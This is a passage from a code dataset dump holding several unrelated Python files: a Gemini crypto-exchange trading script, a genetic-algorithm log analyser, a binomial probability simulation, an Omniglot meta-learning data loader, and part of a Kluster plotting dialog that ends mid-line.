\"nonce\" : str(get_time_ms()),\n \"request\" : url.payload_request(),\n \"symbol\" : pair.name,\n \"timestamp\" : ts,\n \"limit_trades\": 500,\n }\n enc_payload = encrypt(payload)\n sig = sign(enc_payload)\n headers = priv_api_headers(enc_payload, sig, KEY)\n return requests.post(url.full(), data=None, headers=headers).json()\n\ndef log_trades(trades: list[dict], path: str) -> bool:\n \"\"\"Writes a line to file at path for each trade\"\"\"\n sep = \"\\t\"\n # write header\n if not os.path.isfile(path):\n with open(path, \"w+\") as f:\n f.writelines([\n # transactionid orderid, timestamp, timestamp(ms), type(buy, sell), pair(BTCUSD, etc.)\n # price, amount, fee_currency (USD), fee_amount, cost_basis(amount * price + fee_amount)\n sep.join([\n \"tid\", \"orderid\", \"ts\", \"tsms\",\n \"type\", \"pair\", \"price\", \"amount\",\n \"fee_currency\", \"fee_amount\", \"cost_basis\",\n \"\\n\"])\n ])\n\n with open(path, \"a\") as f:\n for trade in trades:\n cost_basis = Decimal(trade[\"fee_amount\"]) + Decimal(trade[\"price\"]) * Decimal(trade[\"amount\"])\n f.writelines([\n sep.join([\n str(trade[\"tid\"])\n ,trade[\"order_id\"]\n ,str(trade[\"timestamp\"])\n ,str(trade[\"timestampms\"])\n ,trade[\"type\"]\n ,trade[\"symbol\"]\n ,trade[\"price\"]\n ,trade[\"amount\"]\n ,trade[\"fee_currency\"]\n ,trade[\"fee_amount\"]\n ,str(cost_basis)\n ,\"\\n\"])\n ])\n\f\n#### ===========================================================================\n#### main\n\nBag = OrderedDict()\nBag[Pair.BTCUSD] = 1/1\n\n# sum to 1\nassert accumulate(Bag.values(), lambda a, b: a+b, initial=0)\n\nif __name__ == \"__main__\":\n if SANDBOX:\n print(\"== running in Sandbox Mode ==\")\n else:\n print(\"== NOT RUNNING IN SANDBOX MODE! ==\")\n\n # TODO validate against min sizes\n for pair, amt in Bag.items():\n resp = buy(pair, USD_PER_DAY * amt, [\"fill-or-kill\"])\n if not resp:\n print (\"==skipping\")\n continue\n # assert resp, \"No response\"\n print(\"==order response\")\n pp(resp)\n assert not resp[\"is_cancelled\"], \"Order was cancelled\"\n\n trades = get_past_trades_after_timestamp(pair, resp[\"timestampms\"])\n print(\"==trade stats\")\n for trade in trades:\n pp(trade)\n log_trades(trades, OUTF)\n\n\n\n\f\n# todo\n#### ===========================================================================\n#### TODO\n\"\"\"\n1. consider not doing make-or-kill MOK for lower fees.\n\n2. It would be nice to place daily limit orders. For those that go unfilled, a\nmarket order at EOD.\n\n3. If this increases further in complexity, refactor and also consider rate\nlimits. Specifically the recommended 'don't exceed more than 1 request per\nsecond`. Handle where we want faster and where it doesn't matter (e.g. logging -\ndo this after order completions. Or in between pairs. who cares if btc is bought\n5 seconds before eth. But we do care about the delay between get_price and buy)\n\n\"\"\"\n\n# sandbox: https://exchange.sandbox.gemini.com/trade/BTCUSD\n\n\n# the sandbox api returns 0 for various currency pairs, which breaks the script,\n# so the get_price funcall should be mocked when in sandbox mode\n\n# [{'pair': 'ZECBTC', 'price': '0', 'percentChange24h': '0.0000'}, {'pair':\n# 'GUSDUSD', 'price': '1', 'percentChange24h': '0.0000'}, {'pair': 'AXSUSD',\n# 'price': '0', 'percentChange24h': '0.0000'}, {'pair': 'LTCETH', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'SANDUSD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'ETHSGD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'RENUSD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'AMPUSD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': '1INCHUSD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'UMAUSD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'ETHUSD', 'price': '4604',\n# 'percentChange24h': '-0.0254'}, {'pair': 'ETHBTC', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'COMPUSD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'LINKBTC', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'FTMUSD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'OXTBTC', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'ZRXUSD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'LINKUSD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'DOGEETH', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'ENJUSD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'BATUSD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'ETHGUSD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'CUBEUSD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'ZECLTC', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'BCHBTC', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'BCHETH', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'LTCBCH', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'BTCUSD', 'price': '64545.83',\n# 'percentChange24h': '-0.0304'}, {'pair': 'BTCEUR', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'AAVEUSD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'USDCUSD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'DOGEUSD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'DOGEBTC', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'SLPUSD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'BCHUSD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'BALUSD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'FILUSD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'MCO2USD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'YFIUSD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'ETHGBP', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'UNIUSD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'SNXUSD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'CRVUSD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'BTCDAI', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'ETHEUR', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'LUNAUSD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'ETHDAI', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'LTCUSD', 'price': '254.91',\n# 'percentChange24h': '-0.0071'}, {'pair': 'SKLUSD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'BONDUSD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'ZECBCH', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'BTCGUSD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'LRCUSD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'BTCSGD', 'price': '87725.02',\n# 'percentChange24h': '-0.0250'}, {'pair': 'ZECETH', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'MKRUSD', 'price': '2412.93',\n# 'percentChange24h': '0.0000'}, {'pair': 'DAIUSD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'BNTUSD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'OXTETH', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'XTZUSD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'KNCUSD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'ANKRUSD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'ALCXUSD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'CTXUSD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'PAXGUSD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'STORJUSD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'LINKETH', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'BTCGBP', 'price': '48099.4',\n# 'percentChange24h': '-0.0190'}, {'pair': 'SUSHIUSD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'BATBTC', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'BATETH', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'OXTUSD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'USTUSD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'MANAUSD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'MIRUSD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'GRTUSD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'ZECUSD', 'price': '153.23',\n# 'percentChange24h': '-0.0350'}, {'pair': 'LTCBTC', 'price': '0',\n# 'percentChange24h': '0.0000'}]\n","repo_name":"wimmeldj/gemini.py","sub_path":"gemini.py","file_name":"gemini.py","file_ext":"py","file_size_in_byte":19555,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"15473278768","text":"\"\"\"\nA small script to help you analyze the output logs from GA algorithm.\nIt shows you best and worst population with all values.\nSpecify the input file as an exec parameter.\nOptional: Speficy output file.\n\"\"\"\n\nimport sys\nfrom ast import literal_eval\nimport matplotlib.pyplot as plt\nimport numpy\n\n\ndef fitnessPlot(pop):\n \"\"\"\n Draw a fitness plot and write it to a file\n\n :param pop: Population array with fitness\n \"\"\"\n fig, ax = plt.subplots()\n ax.plot([i[4] for i in pop])\n ax.set_title(\"Best fitness by generation\")\n ax.set_ylabel(\"Fitness\")\n ax.set_xlabel(\"Generation\")\n fig.legend()\n fig.show()\n fig.savefig(\"fitnessPlot\")\n print(\"Figure saved to file.\")\n\n\ndef printBestWorstGenes(pop, logOut=sys.stdout):\n \"\"\"\n Print info about best and worst specimen.\n\n :param pop: Population array with fitness\n :param logOut: If specified, print messages to a file.\n \"\"\"\n fitnesses = [i[4] for i in pop]\n bestIdxs = (numpy.where(fitnesses == numpy.max(fitnesses)))[0]\n\n print(\"Best Fitness:\", max(fitnesses), file=logOut)\n for idx in bestIdxs:\n print(\"Affinities: food={}, water={}, rest={}, walking={}\".format(pop[idx][0], pop[idx][1],\n pop[idx][2], pop[idx][3]), file=logOut)\n\n worstIdxs = (numpy.where(fitnesses == numpy.min(fitnesses)))[0]\n\n print(\"Worst Fitness:\", min(fitnesses), file=logOut)\n for idx in worstIdxs:\n print(\"Affinities: food={}, water={}, rest={}, walking={}\".format(pop[idx][0], pop[idx][1],\n pop[idx][2], pop[idx][3]), file=logOut)\n\n\nif len(sys.argv) < 2:\n print(\"No file specified.\")\nelse:\n with open(sys.argv[1], \"r\") as file:\n if file.readline() != \"=HEADER=GA=\\n\":\n print(\"Invalid header. Incorrect file or missing header?\")\n else:\n # Load data into memory\n pop = []\n for line in file:\n pop.append(literal_eval(line))\n\n fitnessPlot(pop)\n if len(sys.argv) >= 3:\n with open(sys.argv[2], \"w+\") as f:\n printBestWorstGenes(pop, f)\n print(\"Best/worst species saved to file.\")\n else:\n printBestWorstGenes(pop)\n","repo_name":"emkarcinos/DSZI_Survival","sub_path":"src/AI/resultsExplorer/resultsExplorer.py","file_name":"resultsExplorer.py","file_ext":"py","file_size_in_byte":2338,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"70143023442","text":"# Simulation to verify prob 1.4 using numpy\r\nimport random as rn\r\nimport numpy as np\r\nimport matplotlib.pyplot\r\nfrom scipy.stats import binom\r\n\r\n\r\n# binom.pmf function returns the binomial distribution of the variable\r\n# after accepting the variable,probabilities and sample_size\r\ndef binomial(k):\r\n return binom.pmf(k, 10, 0.9)\r\n\r\n\r\n# Initialising 2 lists to store the theoretical and simulated probabilities\r\nprob_theo = [0 for i in range(11)]\r\nprob_sim = [0 for j in range(11)]\r\nfor i in range(11):\r\n prob_theo[i] = binomial(i)\r\n\r\n# denoting right handed as 0 and left handed as 1\r\npeople = [0, 1]\r\n# choosing our sample of 10 people as the size of result of each outcome\r\nnum_people = 10\r\n# assigning 'right' and 'left' probabilities\r\nprobabilities = [0.9, 0.1]\r\n\r\nprint(\"Let us run the simulation 1000000 times and check the number of cases in which at most 6 are right handed\")\r\n# declaring our simulation size as 1000000\r\nsim = 1000000\r\n# initialising at most 6 cases to 0\r\nat_most_six_cases = 0\r\n# running the loop 'sim' times to get an unbiased sample\r\nfor i in range(sim):\r\n num_right = 0\r\n # np.random.choice function takes in the cases(people here) , size of the list(num_people here) and probabilities of success\r\n # and returns a random list with the entries considering the probabilities\r\n outcome = np.random.choice(people, size=num_people, p=probabilities)\r\n for j in outcome:\r\n if j == 0:\r\n num_right += 1\r\n if num_right <= 6:\r\n at_most_six_cases += 1\r\n # the above code calculates the number of right handed peoples in the\r\n # generated random sample and increments at_most_six_cases if the condition is satisfied\r\n if num_right == 0:\r\n prob_sim[0] += 1\r\n elif num_right == 1:\r\n prob_sim[1] += 1\r\n elif num_right == 2:\r\n prob_sim[2] += 1\r\n elif num_right == 3:\r\n prob_sim[3] += 1\r\n elif num_right == 4:\r\n prob_sim[4] += 1\r\n elif num_right == 5:\r\n prob_sim[5] += 1\r\n elif num_right == 6:\r\n prob_sim[6] += 1\r\n elif num_right == 7:\r\n prob_sim[7] += 1\r\n elif num_right == 8:\r\n prob_sim[8] += 1\r\n elif num_right == 9:\r\n prob_sim[9] += 1\r\n elif num_right == 10:\r\n prob_sim[10] += 1\r\n # The above code updates the corresponding elements of prob_sim\r\n # after checking the number of right_handed people in the random sample\r\nprint(\"Result of Simulation:\")\r\nprint(\"The number of cases out of 1000000 in which at most 6 were right handed is\", at_most_six_cases)\r\nprint(\"Thus the probability that at most 6 out of a random sample of 10 will be 'right' handed is\",\r\n at_most_six_cases / sim)\r\nprint(\"And the simulated probability\", at_most_six_cases / sim, \"is close to\", 0.012795198,\r\n \"which we received using binomial distribution\")\r\n# now prob_sim list contains the number of times each of 0,1,2..10 right handed people in the random sample\r\n# To get probabilities(simulated), we divide all the elements of prob_sim by sim.\r\nfor i in range(11):\r\n prob_sim[i] = prob_sim[i] / sim\r\n\r\ncases = [\"0\", \"1\", \"2\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\", \"9\", \"10\"]\r\n\r\n# np.arrange returns len(cases) = 11 evenly spaced points to plot the graph\r\nx = np.arange(len(cases))\r\n# matplotlib.pyplot.bar function draws a bar graph \r\nmatplotlib.pyplot.bar(x + 0.00, prob_theo, color='black', width=0.25, label='Calculated')\r\n# we are then setting the positions of the two plots,the lists prob_theo,prob_sim whose values are plotted in the\r\n# respective graphs and their respective colors and their widths.\r\nmatplotlib.pyplot.bar(x + 0.25, prob_sim, color='yellow', width=0.25, label='Simulated')\r\n# xlabel and ylabel displays the x and y tags of the graph\r\nmatplotlib.pyplot.xlabel('No of person(s) who are right handed')\r\nmatplotlib.pyplot.ylabel('Probabilities')\r\n# xticks function accepts the points and the list whose items are displayed in the accepted points.\r\nmatplotlib.pyplot.xticks(x + 0.25 / 2, cases)\r\n# legends function displays the color of the plot and its label above the graph\r\nmatplotlib.pyplot.legend()\r\n# show function wraps the entire graph and displays it\r\nmatplotlib.pyplot.show()\r\n","repo_name":"Srivatsan-T/AI1103","sub_path":"Assignment-1/codes/Assignment-1.py","file_name":"Assignment-1.py","file_ext":"py","file_size_in_byte":4181,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"30829165213","text":"# -*- coding: utf-8 -*-\n# @File : omniglot.py\n# @Author: Runist\n# @Time : 2022/7/6 10:41\n# @Software: PyCharm\n# @Brief:\n\nimport random\nimport numpy as np\nimport glob\nfrom PIL import Image\nimport torch.nn.functional as F\nimport torch\n\nfrom core.dataset import MAMLDataset\n\n\nclass OmniglotDataset(MAMLDataset):\n def get_file_list(self, data_path):\n \"\"\"\n Get all fonts list.\n Args:\n data_path: Omniglot Data path\n\n Returns: fonts list\n\n \"\"\"\n return [f for f in glob.glob(data_path + \"**/character*\", recursive=True)]\n\n def get_one_task_data(self):\n \"\"\"\n Get ones task maml data, include one batch support images and labels, one batch query images and labels.\n Returns: support_data, query_data\n\n \"\"\"\n img_dirs = random.sample(self.file_list, self.n_way)\n support_data = []\n query_data = []\n\n support_image = []\n support_label = []\n query_image = []\n query_label = []\n\n for label, img_dir in enumerate(img_dirs):\n img_list = [f for f in glob.glob(img_dir + \"**/*.png\", recursive=True)]\n images = random.sample(img_list, self.k_shot + self.q_query)\n\n # Read support set\n for img_path in images[:self.k_shot]:\n image = Image.open(img_path)\n image = np.array(image)\n image = np.expand_dims(image / 255., axis=0)\n support_data.append((image, label))\n\n # Read query set\n for img_path in images[self.k_shot:]:\n image = Image.open(img_path)\n image = np.array(image)\n image = np.expand_dims(image / 255., axis=0)\n query_data.append((image, label))\n\n # shuffle support set\n random.shuffle(support_data)\n for data in support_data:\n support_image.append(data[0])\n support_label.append(data[1])\n\n # shuffle query set\n random.shuffle(query_data)\n for data in query_data:\n query_image.append(data[0])\n query_label.append(data[1])\n\n return np.array(support_image), np.array(support_label), np.array(query_image), np.array(query_label)\n","repo_name":"Runist/torch_maml","sub_path":"core/dataset/omniglot.py","file_name":"omniglot.py","file_ext":"py","file_size_in_byte":2238,"program_lang":"python","lang":"en","doc_type":"code","stars":70,"dataset":"github-code","pt":"3"}
+{"seq_id":"33425757645","text":"from HSTB.kluster.gui.backends._qt import QtGui, QtCore, QtWidgets, Signal\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport os\nimport logging\n\nfrom HSTB.shared import RegistryHelpers\nfrom HSTB.kluster import kluster_variables\n\nfrom HSTB.kluster.gui import common_widgets\n\n\nclass BasicPlotDialog(QtWidgets.QDialog):\n \"\"\"\n Using the PlotDataHandler, allow the user to provide Kluster converted data and plot a variable across the whole\n time range or a subset of time (see PlotDataHandler for subsetting time)\n\n BasicPlot holds the calls that are just generic xarray.Dataset.plot calls. If you need something fancy, it should\n be put in AdvancedPlot, as there are no controls in BasicPlot for additional files/settings.\n \"\"\"\n\n def __init__(self, parent=None):\n super().__init__(parent)\n\n # fqpr = fully qualified ping record, the term for the datastore in kluster\n self.fqpr = None\n self.datasets = None\n self.variables = None\n self.recent_plot = None\n\n self.variable_translator = kluster_variables.variable_translator\n self.variable_reverse_lookup = kluster_variables.variable_reverse_lookup\n self.plot_lookup = {2: ['Histogram', 'Image', 'Contour', 'Line - Mean', 'Line - Nadir',\n 'Line - Port Outer Beam', 'Line - Starboard Outer Beam'],\n 1: ['Line', 'Histogram', 'Scatter']}\n self.custom_plot_lookup = {'uncertainty': ['Vertical Sample', 'Horizontal Sample'],\n 'backscatter': ['Backscatter Sample'],\n 'sound_velocity_profiles': ['Plot Profiles', 'Surface SV Comparison', 'Profile Map'],\n 'sound_velocity_correct': ['2d scatter, color by depth', '2d scatter, color by sector',\n '3d scatter, color by depth', '3d scatter, color by sector'],\n 'georeferenced': ['2d scatter, color by depth', '2d scatter, color by sector',\n '3d scatter, color by depth', '3d scatter, color by sector'],\n 'animations': ['Uncorrected Beam Vectors', 'Corrected Beam Vectors', 'Vessel Orientation']}\n\n self.setWindowTitle('Basic Plots')\n layout = QtWidgets.QVBoxLayout()\n\n self.data_widget = common_widgets.PlotDataHandler()\n\n self.hline = QtWidgets.QFrame()\n self.hline.setFrameShape(QtWidgets.QFrame.HLine)\n self.hline.setFrameShadow(QtWidgets.QFrame.Sunken)\n\n self.hlayout_main = QtWidgets.QHBoxLayout()\n self.vlayout_left = QtWidgets.QVBoxLayout()\n self.vlayout_right = QtWidgets.QVBoxLayout()\n\n self.hlayout_one = QtWidgets.QHBoxLayout()\n self.dataset_label = QtWidgets.QLabel('Source ', self)\n self.hlayout_one.addWidget(self.dataset_label)\n self.dataset_dropdown = QtWidgets.QComboBox(self)\n self.dataset_dropdown.setSizeAdjustPolicy(QtWidgets.QComboBox.AdjustToContents)\n\n self.hlayout_one.addWidget(self.dataset_dropdown)\n self.hlayout_one.addStretch()\n\n self.hlayout_two = QtWidgets.QHBoxLayout()\n self.variable_label = QtWidgets.QLabel('Variable ', self)\n self.hlayout_two.addWidget(self.variable_label)\n self.variable_dropdown = QtWidgets.QComboBox(self)\n self.variable_dropdown.setSizeAdjustPolicy(QtWidgets.QComboBox.AdjustToContents)\n self.hlayout_two.addWidget(self.variable_dropdown)\n self.variable_dim_label = QtWidgets.QLabel(' Dimensions', self)\n self.hlayout_two.addWidget(self.variable_dim_label)\n self.variable_dimone = QtWidgets.QLineEdit('time', self)\n self.hlayout_two.addWidget(self.variable_dimone)\n self.variable_dimtwo = QtWidgets.QLineEdit('beam', self)\n self.hlayout_two.addWidget(self.variable_dimtwo)\n self.hlayout_two.addStretch()\n\n self.hlayout_three = QtWidgets.QHBoxLayout()\n self.plottype_label = QtWidgets.QLabel('Plot Type', self)\n self.hlayout_three.addWidget(self.plottype_label)\n self.plottype_dropdown = QtWidgets.QComboBox(self)\n self.plottype_dropdown.setSizeAdjustPolicy(QtWidgets.QComboBox.AdjustToContents)\n self.hlayout_three.addWidget(self.plottype_dropdown)\n self.bincount_label = QtWidgets.QLabel('Bins')\n self.bincount_label.hide()\n self.hlayout_three.addWidget(self.bincount_label)\n self.bincount = QtWidgets.QLineEdit('100', self)\n self.bincount.hide()\n self.hlayout_three.addWidget(self.bincount)\n self.hlayout_three.addStretch()\n\n self.hlayout_five = QtWidgets.QHBoxLayout()\n self.add_to_current_plot = QtWidgets.QCheckBox('Add to current plot', self)\n self.add_to_current_plot.setChecked(False)\n self.hlayout_five.addWidget(self.add_to_current_plot)\n self.zero_center_plot = QtWidgets.QCheckBox('Center on zero', self)\n self.zero_center_plot.setChecked(False)\n self.zero_center_plot.hide()\n self.hlayout_five.addWidget(self.zero_center_plot)\n\n self.hlayout_four = QtWidgets.QHBoxLayout()\n self.hlayout_four.addStretch()\n self.plot_button = QtWidgets.QPushButton('Plot', self)\n self.plot_button.setDisabled(True)\n self.hlayout_four.addWidget(self.plot_button)\n self.exportvar_button = QtWidgets.QPushButton(' Export Variable ', self)\n self.exportvar_button.setDisabled(True)\n self.hlayout_four.addWidget(self.exportvar_button)\n self.exportsource_button = QtWidgets.QPushButton(' Export Source ', self)\n self.exportsource_button.setDisabled(True)\n self.hlayout_four.addWidget(self.exportsource_button)\n self.hlayout_four.addStretch()\n\n self.hlayout_six = QtWidgets.QHBoxLayout()\n self.explanation = QtWidgets.QTextEdit('', self)\n self.hlayout_six.addWidget(self.explanation)\n\n layout.addWidget(self.data_widget)\n layout.addWidget(self.hline)\n\n self.vlayout_left.addLayout(self.hlayout_one)\n self.vlayout_left.addLayout(self.hlayout_two)\n self.vlayout_left.addLayout(self.hlayout_three)\n self.vlayout_left.addLayout(self.hlayout_five)\n self.vlayout_right.addLayout(self.hlayout_six)\n self.hlayout_main.addLayout(self.vlayout_left)\n self.hlayout_main.addLayout(self.vlayout_right)\n layout.addLayout(self.hlayout_main)\n\n layout.addLayout(self.hlayout_four)\n self.setLayout(layout)\n\n self.data_widget.fqpr_loaded.connect(self.new_fqpr_loaded)\n self.data_widget.ping_count_changed.connect(self.new_ping_count)\n self.dataset_dropdown.currentTextChanged.connect(self.load_variables)\n self.variable_dropdown.currentTextChanged.connect(self.load_plot_types)\n self.plottype_dropdown.currentTextChanged.connect(self.plot_type_selected)\n self.plot_button.clicked.connect(self.plot)\n self.exportvar_button.clicked.connect(self.export_variable)\n self.exportsource_button.clicked.connect(self.export_source)\n\n def print(self, msg: str, loglevel: int):\n if self.parent() is not None:\n self.parent().print(msg, loglevel)\n else:\n print(msg)\n\n def debug_print(self, msg: str, loglevel: int):\n if self.parent() is not None:\n self.parent().debug_print(msg, loglevel)\n else:\n print(msg)\n\n def new_fqpr_loaded(self, loaded: bool):\n \"\"\"\n If a new fqpr is loaded (fqpr = converted Kluster data store) load the datasets\n\n Parameters\n ----------\n loaded\n if True, self.fqpr is valid\n \"\"\"\n\n if loaded:\n self.fqpr = self.data_widget.fqpr\n self.load_datasets()\n else:\n self.fqpr = None\n self.datasets = {}\n self.dataset_dropdown.clear()\n self.variable_dropdown.clear()\n self.variable_dimone.setText('')\n self.variable_dimtwo.setText('')\n self.plottype_dropdown.clear()\n self.plot_button.setDisabled(True)\n self.exportsource_button.setDisabled(True)\n self.exportvar_button.setDisabled(True)\n\n def load_datasets(self):\n \"\"\"\n Build the lookup for the various kluster datasets and populate the dataset dropdown with the keys\n \"\"\"\n if self.fqpr is not None:\n self.datasets = {}\n if self.fqpr.multibeam.raw_ping:\n self.datasets['multibeam'] = self.fqpr.multibeam.raw_ping\n self.datasets['raw navigation'] = self.fqpr.multibeam.return_raw_navigation()\n procnav = self.fqpr.sbet_navigation\n if procnav is not None:\n self.datasets['processed navigation'] = procnav\n else:\n self.print('No multibeam dataset(s) found in {}'.format(self.fqpr.multibeam.converted_pth), logging.WARNING)\n\n if self.fqpr.multibeam.raw_att:\n self.datasets['attitude'] = self.fqpr.multibeam.raw_att\n else:\n self.print('No attitude dataset found in {}'.format(self.fqpr.multibeam.converted_pth), logging.WARNING)\n\n if 'alongtrack' in self.fqpr.multibeam.raw_ping[0] or 'x' in self.fqpr.multibeam.raw_ping[0]:\n self.datasets['custom'] = self.fqpr.plot\n else:\n self.print('No svcorrected/georeferenced variables found in {}'.format(self.fqpr.multibeam.converted_pth), logging.WARNING)\n\n combo_items = list(self.datasets.keys())\n self.dataset_dropdown.clear()\n self.dataset_dropdown.addItems(combo_items)\n self.dataset_dropdown.setCurrentIndex(0)\n\n def reload_datasets(self):\n \"\"\"\n Triggered when self.fqpr is changed, we reload the datasets without the debug messaging just to keep it clean\n \"\"\"\n\n if self.fqpr is not None:\n self.datasets = {}\n if self.fqpr.multibeam.raw_ping:\n self.datasets['multibeam'] = self.fqpr.multibeam.raw_ping\n self.datasets['raw navigation'] = self.fqpr.multibeam.return_raw_navigation()\n procnav = self.fqpr.sbet_navigation\n if procnav is not None:\n self.datasets['processed navigation'] = procnav\n if self.fqpr.multibeam.raw_att:\n self.datasets['attitude'] = self.fqpr.multibeam.raw_att\n if 'alongtrack' in self.fqpr.multibeam.raw_ping[0] or 'x' in self.fqpr.multibeam.raw_ping[0]:\n self.datasets['custom'] = self.fqpr\n\n def load_variables(self):\n \"\"\"\n Get the list of variables that are within the provided dataset\n \"\"\"\n\n if self.datasets:\n ky = self.dataset_dropdown.currentText()\n if ky:\n dset = self.datasets[ky]\n if ky in ['multibeam', 'raw navigation', 'processed navigation']:\n if ky == 'multibeam':\n dset = dset[0] # grab the first multibeam dataset (dual head will have two) for the lookup\n variable_names = [nm for nm in list(dset.variables.keys()) if nm in self.variable_translator]\n variable_names = [vname for vname in variable_names if vname in kluster_variables.variables_by_key[ky]]\n else:\n variable_names = [nm for nm in list(dset.variables.keys()) if nm in self.variable_translator]\n variable_names = [self.variable_translator[nm] for nm in variable_names]\n elif ky == 'custom':\n variable_names = ['uncertainty', 'backscatter', 'sound_velocity_profiles', 'sound_velocity_correct', 'georeferenced', 'animations']\n else:\n variable_names = [nm for nm in list(dset.variables.keys()) if nm not in ['time', 'beam', 'xyz']]\n\n self.variable_dropdown.clear()\n self.variable_dropdown.addItems(sorted(variable_names))\n self.variable_dropdown.setCurrentIndex(0)\n\n def load_plot_types(self):\n \"\"\"\n Get the list of available plots for the provided variable/dataset\n \"\"\"\n if self.datasets:\n self.data_widget.warning_message.setText('')\n self.plottype_dropdown.clear()\n ky = self.dataset_dropdown.currentText()\n dset = self.datasets[ky]\n vari = self.variable_dropdown.currentText()\n if vari:\n if ky == 'multibeam':\n dset = dset[0] # grab the first multibeam dataset (dual head will have two) for the lookup\n if ky in ['multibeam', 'raw navigation', 'processed navigation']:\n dset_var = self.variable_reverse_lookup[vari]\n else:\n dset_var = vari\n if dset_var:\n if ky == 'custom':\n self.variable_dimone.setText('time')\n self.variable_dimtwo.setText('beam')\n plottypes = self.custom_plot_lookup[vari]\n self.plottype_dropdown.addItems(plottypes)\n self.plottype_dropdown.setCurrentIndex(0)\n self.plot_button.setEnabled(True)\n self.exportvar_button.setEnabled(False)\n self.exportsource_button.setEnabled(False)\n elif dset[dset_var].ndim == 2:\n self.variable_dimone.setText(dset[dset_var].dims[0])\n self.variable_dimtwo.setText(dset[dset_var].dims[1])\n plottypes = self.plot_lookup[2]\n self.plottype_dropdown.addItems(plottypes)\n self.plottype_dropdown.setCurrentIndex(0)\n self.plot_button.setEnabled(True)\n self.exportvar_button.setEnabled(True)\n self.exportsource_button.setEnabled(True)\n elif dset[dset_var].ndim == 1:\n self.variable_dimone.setText(dset[dset_var].dims[0])\n self.variable_dimtwo.setText('None')\n plottypes = self.plot_lookup[1].copy()\n if dset_var in ['mode', 'modetwo', 'yawpitchstab']:\n plottypes.remove('Line')\n self.plottype_dropdown.addItems(plottypes)\n self.plottype_dropdown.setCurrentIndex(0)\n self.plot_button.setEnabled(True)\n self.exportvar_button.setEnabled(True)\n self.exportsource_button.setEnabled(True)\n else:\n self.variable_dimone.setText('None')\n self.variable_dimtwo.setText('None')\n self.data_widget.warning_message.setText('ERROR: only 2d and 1d vars allowed, found 